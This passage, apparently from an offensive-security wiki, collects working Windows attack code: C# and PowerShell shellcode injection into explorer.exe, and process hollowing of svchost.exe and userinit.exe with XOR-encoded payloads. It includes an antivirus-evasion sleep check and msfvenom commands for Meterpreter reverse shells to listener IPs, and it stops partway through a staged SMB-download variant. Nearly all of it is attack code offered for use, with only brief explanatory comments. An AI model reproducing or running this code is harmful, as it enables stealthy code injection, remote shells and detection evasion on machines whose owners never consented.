            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Define the shellcode bytes to inject&lt;br /&gt;
            byte[] buf = new byte[591]&lt;br /&gt;
            {&lt;br /&gt;
                0xfc, 0x48, 0x83, 0xe4, 0xf0, 0xe8, 0xcc, 0x00, 0x00, 0x00, 0x41, 0x51, 0x41, 0x50, 0x52,&lt;br /&gt;
                // ... (rest of the shellcode)&lt;br /&gt;
            };&lt;br /&gt;
            // Write the shellcode to the allocated memory in the target process&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);&lt;br /&gt;
            // Create a remote thread in the target process to execute the shellcode&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Csharp - But automatically get process ID ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace Inject&lt;br /&gt;
{&lt;br /&gt;
    class Program&lt;br /&gt;
    {&lt;br /&gt;
        // Import necessary functions from kernel32.dll&lt;br /&gt;
        // Opens an existing local process object&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        // Reserves or commits a region of memory within the virtual address space of a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, ExactSpelling = true)]&lt;br /&gt;
        static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);&lt;br /&gt;
        // Writes data to an area of memory in a specified process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        // Creates a thread that runs in the virtual address space of another process&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
        static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
	// Automatically obtain process ID&lt;br /&gt;
            Process[] localByName = Process.GetProcessesByName(&amp;quot;explorer&amp;quot;);&lt;br /&gt;
            if (localByName.Length == 0)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;No explorer process found.&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            int targetProcessId = localByName[0].Id;&lt;br /&gt;
            // Obtain a handle to the target process&lt;br /&gt;
            IntPtr hProcess = OpenProcess(0x001F0FFF, false, targetProcessId);&lt;br /&gt;
            // Allocate memory in the target process&#039;s address space&lt;br /&gt;
            IntPtr addr = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);&lt;br /&gt;
            // Define the shellcode bytes to inject&lt;br /&gt;
            byte[] buf = new byte[510] {0xfc,0x48,0x83,0xe4,0xf0,0xe8... [Rest of the shellcode]&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
            // Write the shellcode to the allocated memory in the target process&lt;br /&gt;
            IntPtr outSize;&lt;br /&gt;
            WriteProcessMemory(hProcess, addr, buf, buf.Length, out outSize);&lt;br /&gt;
            // Create a remote thread in the target process to execute the shellcode&lt;br /&gt;
            IntPtr hThread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, addr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
$procId = (Get-Process explorer).Id&lt;br /&gt;
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.49.67 LPORT=443 EXITFUNC=thread -f ps1&lt;br /&gt;
[Byte[]] $buf = 0xfc,0x48,0x83,0xe4...[REST OF SHELLCODE]&lt;br /&gt;
# C#: IntPtr hProcess = OpenProcess(ProcessAccessFlags.All, false, procId);&lt;br /&gt;
$hProcess = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),&lt;br /&gt;
  (getDelegateType @([UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke(0x001F0FFF, 0, $procId)&lt;br /&gt;
# C#: IntPtr expAddr = VirtualAllocEx(hProcess, IntPtr.Zero, (uint)len, AllocationType.Commit | AllocationType.Reserve, MemoryProtection.ExecuteReadWrite);&lt;br /&gt;
$expAddr = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll VirtualAllocEx),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [UInt32], [UInt32])([IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, [UInt32]$buf.Length, 0x3000, 0x40)&lt;br /&gt;
# C#: bool procMemResult = WriteProcessMemory(hProcess, expAddr, buf, len, out bytesWritten);&lt;br /&gt;
$procMemResult = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll WriteProcessMemory),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [Byte[]], [UInt32], [IntPtr])([Bool]))).Invoke($hProcess, $expAddr, $buf, [Uint32]$buf.Length, [IntPtr]::Zero)&lt;br /&gt;
# C#: IntPtr threadAddr = CreateRemoteThread(hProcess, IntPtr.Zero, 0, expAddr, IntPtr.Zero, 0, IntPtr.Zero);&lt;br /&gt;
[System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll CreateRemoteThread),&lt;br /&gt;
  (getDelegateType @([IntPtr], [IntPtr], [UInt32], [IntPtr], [UInt32], [IntPtr]))).Invoke($hProcess, [IntPtr]::Zero, 0, $expAddr, 0, [IntPtr]::Zero)&lt;br /&gt;
Write-Host &amp;quot;Injected! Check your listener!&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Process Hollowing ==&lt;br /&gt;
&lt;br /&gt;
Process Hollowing is a method used by attackers to inject malicious code into a legitimate process while keeping the process running. This allows the attacker to hide their activities within a trusted process, potentially evading detection.&lt;br /&gt;
&lt;br /&gt;
=== Stageless XOR&#039;d ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace ProcessHollowing&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        public const uint CREATE_SUSPENDED = 0x4;&lt;br /&gt;
        public const int PROCESSBASICINFORMATION = 0;&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]&lt;br /&gt;
        public struct ProcessInfo&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr hProcess;&lt;br /&gt;
            public IntPtr hThread;&lt;br /&gt;
            public Int32 ProcessId;&lt;br /&gt;
            public Int32 ThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Auto)]&lt;br /&gt;
        public struct StartupInfo&lt;br /&gt;
        {&lt;br /&gt;
            public uint cb;&lt;br /&gt;
            public string lpReserved;&lt;br /&gt;
            public string lpDesktop;&lt;br /&gt;
            public string lpTitle;&lt;br /&gt;
            public uint dwX;&lt;br /&gt;
            public uint dwY;&lt;br /&gt;
            public uint dwXSize;&lt;br /&gt;
            public uint dwYSize;&lt;br /&gt;
            public uint dwXCountChars;&lt;br /&gt;
            public uint dwYCountChars;&lt;br /&gt;
            public uint dwFillAttribute;&lt;br /&gt;
            public uint dwFlags;&lt;br /&gt;
            public short wShowWindow;&lt;br /&gt;
            public short cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential)]&lt;br /&gt;
        internal struct ProcessBasicInfo&lt;br /&gt;
        {&lt;br /&gt;
            public IntPtr Reserved1;&lt;br /&gt;
            public IntPtr PebAddress;&lt;br /&gt;
            public IntPtr Reserved2;&lt;br /&gt;
            public IntPtr Reserved3;&lt;br /&gt;
            public IntPtr UniquePid;&lt;br /&gt;
            public IntPtr MoreReserved;&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern void Sleep(uint dwMilliseconds);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes,&lt;br /&gt;
            IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref StartupInfo lpStartupInfo, out ProcessInfo lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess, int procInformationClass,&lt;br /&gt;
            ref ProcessBasicInfo procInformation, uint ProcInfoLen, ref uint retlen);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool ReadProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, [Out] byte[] lpBuffer,&lt;br /&gt;
            int dwSize, out IntPtr lpNumberOfbytesRW);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, Int32 nSize, out IntPtr lpNumberOfBytesWritten);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern uint ResumeThread(IntPtr hThread);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // AV evasion: Sleep for 10s and detect if time really passed&lt;br /&gt;
            DateTime t1 = DateTime.Now;&lt;br /&gt;
            Sleep(10000);&lt;br /&gt;
            double deltaT = DateTime.Now.Subtract(t1).TotalSeconds;&lt;br /&gt;
            if (deltaT &amp;lt; 9.5)&lt;br /&gt;
            {&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            // msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.232.133 LPORT=443 EXITFUNC=thread -f csharp&lt;br /&gt;
            // XORed with key 0xfa&lt;br /&gt;
            byte[] buf = new byte[511] {&lt;br /&gt;
            0x06, ...SHELLCODE HERE&lt;br /&gt;
            };&lt;br /&gt;
            // Start &#039;svchost.exe&#039; in a suspended state&lt;br /&gt;
            StartupInfo sInfo = new StartupInfo();&lt;br /&gt;
            ProcessInfo pInfo = new ProcessInfo();&lt;br /&gt;
            bool cResult = CreateProcess(null, &amp;quot;c:\\windows\\system32\\svchost.exe&amp;quot;, IntPtr.Zero, IntPtr.Zero,&lt;br /&gt;
                false, CREATE_SUSPENDED, IntPtr.Zero, null, ref sInfo, out pInfo);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Started &#039;svchost.exe&#039; in a suspended state with PID {pInfo.ProcessId}. Success: {cResult}.&amp;quot;);&lt;br /&gt;
            // Get Process Environment Block (PEB) memory address of suspended process (offset 0x10 from base image)&lt;br /&gt;
            ProcessBasicInfo pbInfo = new ProcessBasicInfo();&lt;br /&gt;
            uint retLen = new uint();&lt;br /&gt;
            long qResult = ZwQueryInformationProcess(pInfo.hProcess, PROCESSBASICINFORMATION, ref pbInfo, (uint)(IntPtr.Size * 6), ref retLen);&lt;br /&gt;
            IntPtr baseImageAddr = (IntPtr)((Int64)pbInfo.PebAddress + 0x10);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got process information and located PEB address of process at {&amp;quot;0x&amp;quot; + baseImageAddr.ToString(&amp;quot;x&amp;quot;)}. Success: {qResult == 0}.&amp;quot;);&lt;br /&gt;
            // Get entry point of the actual process executable&lt;br /&gt;
            // This one is a bit complicated, because this address differs for each process (due to Address Space Layout Randomization (ASLR))&lt;br /&gt;
            // From the PEB (address we got in last call), we have to do the following:&lt;br /&gt;
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing&lt;br /&gt;
            // 2. Read the field &#039;e_lfanew&#039;, 4 bytes at offset 0x3C from executable address to get the offset for the PE header&lt;br /&gt;
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset&lt;br /&gt;
            // 4. Read the value at the RVA offset address to get the offset of the executable entrypoint from the executable address&lt;br /&gt;
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!&lt;br /&gt;
            // 1. Read executable address from first 8 bytes (Int64, offset 0) of PEB and read data chunk for further processing&lt;br /&gt;
            byte[] procAddr = new byte[0x8];&lt;br /&gt;
            byte[] dataBuf = new byte[0x200];&lt;br /&gt;
            IntPtr bytesRW = new IntPtr();&lt;br /&gt;
            bool result = ReadProcessMemory(pInfo.hProcess, baseImageAddr, procAddr, procAddr.Length, out bytesRW);&lt;br /&gt;
            IntPtr executableAddress = (IntPtr)BitConverter.ToInt64(procAddr, 0);&lt;br /&gt;
            result = ReadProcessMemory(pInfo.hProcess, executableAddress, dataBuf, dataBuf.Length, out bytesRW);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: Executable base address: {&amp;quot;0x&amp;quot; + executableAddress.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 2. Read the field &#039;e_lfanew&#039;, 4 bytes (UInt32) at offset 0x3C from executable address to get the offset for the PE header&lt;br /&gt;
            uint e_lfanew = BitConverter.ToUInt32(dataBuf, 0x3c);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: e_lfanew offset: {&amp;quot;0x&amp;quot; + e_lfanew.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 3. Take the memory at this PE header add an offset of 0x28 to get the Entrypoint Relative Virtual Address (RVA) offset&lt;br /&gt;
            uint rvaOffset = e_lfanew + 0x28;&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: RVA offset: {&amp;quot;0x&amp;quot; + rvaOffset.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 4. Read the 4 bytes (UInt32) at the RVA offset to get the offset of the executable entrypoint from the executable address&lt;br /&gt;
            uint rva = BitConverter.ToUInt32(dataBuf, (int)rvaOffset);&lt;br /&gt;
            Console.WriteLine($&amp;quot;DEBUG: RVA value: {&amp;quot;0x&amp;quot; + rva.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // 5. Get the absolute address of the entrypoint by adding this value to the base executable address. Success!&lt;br /&gt;
            IntPtr entrypointAddr = (IntPtr)((Int64)executableAddress + rva);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got executable entrypoint address: {&amp;quot;0x&amp;quot; + entrypointAddr.ToString(&amp;quot;x&amp;quot;)}.&amp;quot;);&lt;br /&gt;
            // Carrying on, decode the XOR payload&lt;br /&gt;
            for (int i = 0; i &amp;lt; buf.Length; i++)&lt;br /&gt;
            {&lt;br /&gt;
                buf[i] = (byte)((uint)buf[i] ^ 0xfa);&lt;br /&gt;
            }&lt;br /&gt;
            Console.WriteLine(&amp;quot;XOR-decoded payload.&amp;quot;);&lt;br /&gt;
            // Overwrite the memory at the identified address to &#039;hijack&#039; the entrypoint of the executable&lt;br /&gt;
            result = WriteProcessMemory(pInfo.hProcess, entrypointAddr, buf, buf.Length, out bytesRW);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Overwrote entrypoint with payload. Success: {result}.&amp;quot;);&lt;br /&gt;
            // Resume the thread to trigger our payload&lt;br /&gt;
            uint rResult = ResumeThread(pInfo.hThread);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Triggered payload. Success: {rResult == 1}. Check your listener!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Stageless 2 ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
//https://github.com/mvelazc0/defcon27_csharp_workshop/tree/master/Labs/lab7&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Text;&lt;br /&gt;
using System.Threading;&lt;br /&gt;
&lt;br /&gt;
public class Program&lt;br /&gt;
{&lt;br /&gt;
    const int PROCESS_CREATE_THREAD = 0x0002;&lt;br /&gt;
    const int PROCESS_QUERY_INFORMATION = 0x0400;&lt;br /&gt;
    const int PROCESS_VM_OPERATION = 0x0008;&lt;br /&gt;
    const int PROCESS_VM_WRITE = 0x0020;&lt;br /&gt;
    const int PROCESS_VM_READ = 0x0010;&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-openthread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    //static extern IntPtr OpenThread(ThreadAccess dwDesiredAccess, bool bInheritHandle, uint dwThreadId);&lt;br /&gt;
    static extern IntPtr OpenThread(uint dwDesiredAccess, bool bInheritHandle, uint dwThreadId);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-suspendthread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern uint SuspendThread(IntPtr hThread);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/processthreadsapi/nf-processthreadsapi-resumethread&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern int ResumeThread(IntPtr hThread);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/wdm/nf-wdm-zwunmapviewofsection&lt;br /&gt;
    [DllImport(&amp;quot;ntdll.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
    private static extern uint NtUnmapViewOfSection(IntPtr hProcess, IntPtr lpBaseAddress);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    public static extern IntPtr OpenProcess(int dwDesiredAccess, bool bInheritHandle, int dwProcessId);&lt;br /&gt;
&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    //public static extern IntPtr VirtualAllocEx(IntPtr lpHandle,IntPtr lpAddress, IntPtr dwSize, AllocationType flAllocationType, MemoryProtection flProtect);&lt;br /&gt;
    public static extern IntPtr VirtualAllocEx(IntPtr hProcess, IntPtr lpAddress, Int32 dwSize, UInt32 flAllocationType, UInt32 flProtect);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);&lt;br /&gt;
    //https://docs.microsoft.com/en-us/windows/desktop/api/synchapi/nf-synchapi-waitforsingleobject&lt;br /&gt;
    [DllImport(&amp;quot;kernel32&amp;quot;)]&lt;br /&gt;
    private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);&lt;br /&gt;
    [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
    public static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] buffer, IntPtr dwSize, int lpNumberOfBytesWritten);&lt;br /&gt;
    private static UInt32 MEM_COMMIT = 0x1000;&lt;br /&gt;
    private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;&lt;br /&gt;
    private static UInt32 SUSPEND_RESUME = 0x0002;&lt;br /&gt;
    public static void Main()&lt;br /&gt;
    {&lt;br /&gt;
&lt;br /&gt;
// msfvenom -a x86 --platform windows -p windows/exec cmd=calc.exe -f csharp&lt;br /&gt;
        byte[] shellcode = new byte[193] {0xfc,0xe8,0x82,0x00,0x00,0x00,&lt;br /&gt;
0x60,0x89,0xe5,0x31,0xc0,0x64,0x8b,0x50,0x30,0x8b,0x52,0x0c,&lt;br /&gt;
0x8b,0x52,0x14,0x8b,0x72,0x28,0x0f,0xb7,0x4a,0x26,0x31,0xff,&lt;br /&gt;
0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0xc1,0xcf,0x0d,0x01,0xc7,&lt;br /&gt;
0xe2,0xf2,0x52,0x57,0x8b,0x52,0x10,0x8b,0x4a,0x3c,0x8b,0x4c,&lt;br /&gt;
0x11,0x78,0xe3,0x48,0x01,0xd1,0x51,0x8b,0x59,0x20,0x01,0xd3,&lt;br /&gt;
0x8b,0x49,0x18,0xe3,0x3a,0x49,0x8b,0x34,0x8b,0x01,0xd6,0x31,&lt;br /&gt;
0xff,0xac,0xc1,0xcf,0x0d,0x01,0xc7,0x38,0xe0,0x75,0xf6,0x03,&lt;br /&gt;
0x7d,0xf8,0x3b,0x7d,0x24,0x75,0xe4,0x58,0x8b,0x58,0x24,0x01,&lt;br /&gt;
0xd3,0x66,0x8b,0x0c,0x4b,0x8b,0x58,0x1c,0x01,0xd3,0x8b,0x04,&lt;br /&gt;
0x8b,0x01,0xd0,0x89,0x44,0x24,0x24,0x5b,0x5b,0x61,0x59,0x5a,&lt;br /&gt;
0x51,0xff,0xe0,0x5f,0x5f,0x5a,0x8b,0x12,0xeb,0x8d,0x5d,0x6a,&lt;br /&gt;
0x01,0x8d,0x85,0xb2,0x00,0x00,0x00,0x50,0x68,0x31,0x8b,0x6f,&lt;br /&gt;
0x87,0xff,0xd5,0xbb,0xf0,0xb5,0xa2,0x56,0x68,0xa6,0x95,0xbd,&lt;br /&gt;
0x9d,0xff,0xd5,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,&lt;br /&gt;
0xbb,0x47,0x13,0x72,0x6f,0x6a,0x00,0x53,0xff,0xd5,0x63,0x61,&lt;br /&gt;
0x6c,0x63,0x2e,0x65,0x78,0x65,0x00};&lt;br /&gt;
&lt;br /&gt;
        string proc = &amp;quot;userinit.exe&amp;quot;;&lt;br /&gt;
        Process newproc;&lt;br /&gt;
        newproc = Process.Start(proc);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Started &amp;quot; + proc + &amp;quot; with Process Id:&amp;quot; + newproc.Id);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Suspending process...&amp;quot;);&lt;br /&gt;
        foreach (ProcessThread thread in newproc.Threads)&lt;br /&gt;
        {&lt;br /&gt;
            IntPtr pOpenThread;&lt;br /&gt;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);&lt;br /&gt;
            if (pOpenThread == IntPtr.Zero)&lt;br /&gt;
            {&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
            SuspendThread(pOpenThread);&lt;br /&gt;
        }&lt;br /&gt;
        Console.WriteLine(&amp;quot;Suspended!&amp;quot;);&lt;br /&gt;
        IntPtr procHandle = OpenProcess(PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_WRITE | PROCESS_VM_READ, false, newproc.Id);&lt;br /&gt;
        IntPtr spaceAddr = VirtualAllocEx(procHandle, IntPtr.Zero, shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Allocating memory&amp;quot;);&lt;br /&gt;
        WriteProcessMemory(procHandle, spaceAddr, shellcode, new IntPtr(shellcode.Length), 0);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Copied shellcode in memory&amp;quot;);&lt;br /&gt;
        IntPtr pinfo = IntPtr.Zero;&lt;br /&gt;
        IntPtr threatH = CreateRemoteThread(procHandle, new IntPtr(0), new uint(), spaceAddr, new IntPtr(0), new uint(), new IntPtr(0));&lt;br /&gt;
        Console.WriteLine(&amp;quot;Created remote thread&amp;quot;);&lt;br /&gt;
        Console.WriteLine(&amp;quot;Resuming process...&amp;quot;);&lt;br /&gt;
        foreach (ProcessThread thread in newproc.Threads)&lt;br /&gt;
        {&lt;br /&gt;
            IntPtr pOpenThread;&lt;br /&gt;
            pOpenThread = OpenThread(SUSPEND_RESUME, false, (uint)thread.Id);&lt;br /&gt;
            if (pOpenThread == IntPtr.Zero)&lt;br /&gt;
            {&lt;br /&gt;
                break;&lt;br /&gt;
            }&lt;br /&gt;
            ResumeThread(pOpenThread);&lt;br /&gt;
        }&lt;br /&gt;
        Console.WriteLine(&amp;quot;Resumed!&amp;quot;);&lt;br /&gt;
&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Staged - Download payload through CIFS/SMB ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
namespace ProcessHollowingExample&lt;br /&gt;
{&lt;br /&gt;
    internal class Program&lt;br /&gt;
    {&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true, CharSet = CharSet.Ansi)]&lt;br /&gt;
        static extern bool CreateProcess(string lpApplicationName, string lpCommandLine,&lt;br /&gt;
            IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles,&lt;br /&gt;
            uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory,&lt;br /&gt;
            [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;ntdll.dll&amp;quot;, CallingConvention = CallingConvention.StdCall)]&lt;br /&gt;
        private static extern int ZwQueryInformationProcess(IntPtr hProcess,&lt;br /&gt;
